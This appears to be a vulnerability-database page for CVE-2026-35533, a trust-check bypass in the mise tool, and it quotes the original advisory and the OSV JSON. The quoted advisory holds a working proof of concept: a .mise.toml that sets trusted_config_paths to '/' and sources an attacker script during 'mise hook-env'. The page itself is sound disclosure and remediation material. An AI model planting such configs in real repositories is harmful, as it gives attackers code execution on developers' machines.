CVE-2026-35533: Mise Local Settings Bypass Config Trust Vulnerability

HIGH
Advisory Identifier: GHSA-436v-8fw5-4mj8
CVSS 7.7
CWE-284
Published
Advisory Summary

CVE-2026-35533 is a HIGH (CVSS 7.7) local settings bypass config trust vulnerability (CWE-284: Improper Access Control) affecting Mise libraries in the crates.io ecosystem. The issue involves local settings bypass config trust checks. Remediation is available by upgrading affected packages to version 2026.6.4.

CVE-2026-35533 at a Glance

CVE Identifier CVE-2026-35533
GHSA Identifier GHSA-436v-8fw5-4mj8
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-284: Improper Access Control
Affected Product Mise
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-35533

To remediate this vulnerability, upgrade all affected Mise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mise fixed: 2026.6.4
Upgrade mise to 2026.6.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for mise

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35533, inspect your project dependencies for Mise:

inspect dependencies for mise

Analyze the terminal output to locate any version of Mise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.6.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Mise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks. The strongest current variant is `trusted_config_paths = ["/"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path. ### Details The vulnerable load order is: 1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files. 2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted. 3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings. The main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387): ```rust let settings = Settings::get(); for p in settings.trusted_config_paths() { if canonicalized_path.starts_with(p) { add_trusted(canonicalized_path.to_path_buf()); return true; } } ``` If a local project file sets: ```toml [settings] trusted_config_paths = ["/"] ``` then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached. Related variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it. ### PoC Test environment: - Docker - `linux-arm64` - `mise v2026.3.17` Negative control: ```toml [env] _.source = ["./poc.sh"] ``` `mise ls` fails with: ```text Config files in /work/poc/.mise.toml are not trusted. ``` and `/tmp/mise-proof.txt` is not created. Primary exploit: ```toml [settings] trusted_config_paths = ["/"] [env] _.source = ["./poc.sh"] ``` with: ```bash #!/usr/bin/env bash echo trusted_paths_hookenv > /tmp/mise-proof.txt ``` Then: ```bash mise hook-env -s bash --force ``` Observed: ```text /tmp/mise-proof.txt => trusted_paths_hookenv ``` Related regression check: - `v2026.2.17`: local `yes = true` does not bypass trust - `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created ### Impact An attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file. Demonstrated on current supported versions: - execution via `[env] _.source` during `mise hook-env` - bypass of the protection that `mise trust` is supposed to provide for dangerous config features On newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts. ### Suggested Fix Do not honor trust-control settings from non-global project config files. At minimum, ignore these fields when loading local project config: - `trusted_config_paths` - `yes` - `ci` - `paranoid` For example: ```rust pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings; if !config::is_global_config(path) { settings.yes = None; settings.ci = None; settings.trusted_config_paths = None; settings.paranoid = None; } Ok(settings) } ```

CVE-2026-35533 Affected Mise Versions

1 component(s)
Fixed Versions:
2026.6.4
Product / Package Ecosystem Affected Versions Fixed Version
mise
crates.io
≥ 2026.2.18
< 2026.6.4
2026.6.4

References

Frequently Asked Questions

What is CVE-2026-35533?
CVE-2026-35533 is a security vulnerability in Mise involving Local settings bypass config trust checks under CWE-284: Improper Access Control.
Which Mise versions are affected?
Affected versions include releases prior to 2026.6.4 across affected packages: mise.
What version fixes CVE-2026-35533?
Upgrading to 2026.6.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mise affected?
Yes, mise is affected in releases prior to 2026.6.4. Upgrade your dependency to 2026.6.4 or later.
What is the CVSS score of CVE-2026-35533?
CVE-2026-35533 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-35533?
CVE-2026-35533 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check crates.io dependencies for CVE-2026-35533?
Run the dependency tree command: 'inspect dependencies for mise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-436v-8fw5-4mj8",
  "modified" : "2026-06-12T19:30:52Z",
  "published" : "2026-04-07T20:13:11Z",
  "aliases" : [ "CVE-2026-35533" ],
  "summary" : "Local settings bypass config trust checks",
  "details" : "### Summary\n\n`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.\n\nThe strongest current variant is `trusted_config_paths = [\"/\"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.\n3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.\n\nThe main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):\n\n```rust\nlet settings = Settings::get();\nfor p in settings.trusted_config_paths() {\n    if canonicalized_path.starts_with(p) {\n        add_trusted(canonicalized_path.to_path_buf());\n        return true;\n    }\n}\n```\n\nIf a local project file sets:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n```\n\nthen every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.\n\nRelated variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```toml\n[env]\n_.source = [\"./poc.sh\"]\n```\n\n`mise ls` fails with:\n\n```text\nConfig files in /work/poc/.mise.toml are not trusted.\n```\n\nand `/tmp/mise-proof.txt` is not created.\n\nPrimary exploit:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n\n[env]\n_.source = [\"./poc.sh\"]\n```\n\nwith:\n\n```bash\n#!/usr/bin/env bash\necho trusted_paths_hookenv > /tmp/mise-proof.txt\n```\n\nThen:\n\n```bash\nmise hook-env -s bash --force\n```\n\nObserved:\n\n```text\n/tmp/mise-proof.txt => trusted_paths_hookenv\n```\n\nRelated regression check:\n\n- `v2026.2.17`: local `yes = true` does not bypass trust\n- `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.\n\nDemonstrated on current supported versions:\n\n- execution via `[env] _.source` during `mise hook-env`\n- bypass of the protection that `mise trust` is supposed to provide for dangerous config features\n\nOn newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.\n\n### Suggested Fix\n\nDo not honor trust-control settings from non-global project config files.\n\nAt minimum, ignore these fields when loading local project config:\n\n- `trusted_config_paths`\n- `yes`\n- `ci`\n- `paranoid`\n\nFor example:\n\n```rust\npub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(&raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.yes = None;\n        settings.ci = None;\n        settings.trusted_config_paths = None;\n        settings.paranoid = None;\n    }\n\n    Ok(settings)\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "mise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2026.2.18"
      }, {
        "fixed" : "2026.6.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35533"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jdx/mise"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-07T20:13:11Z",
    "nvd_published_at" : "2026-04-07T21:17:17Z"
  }
}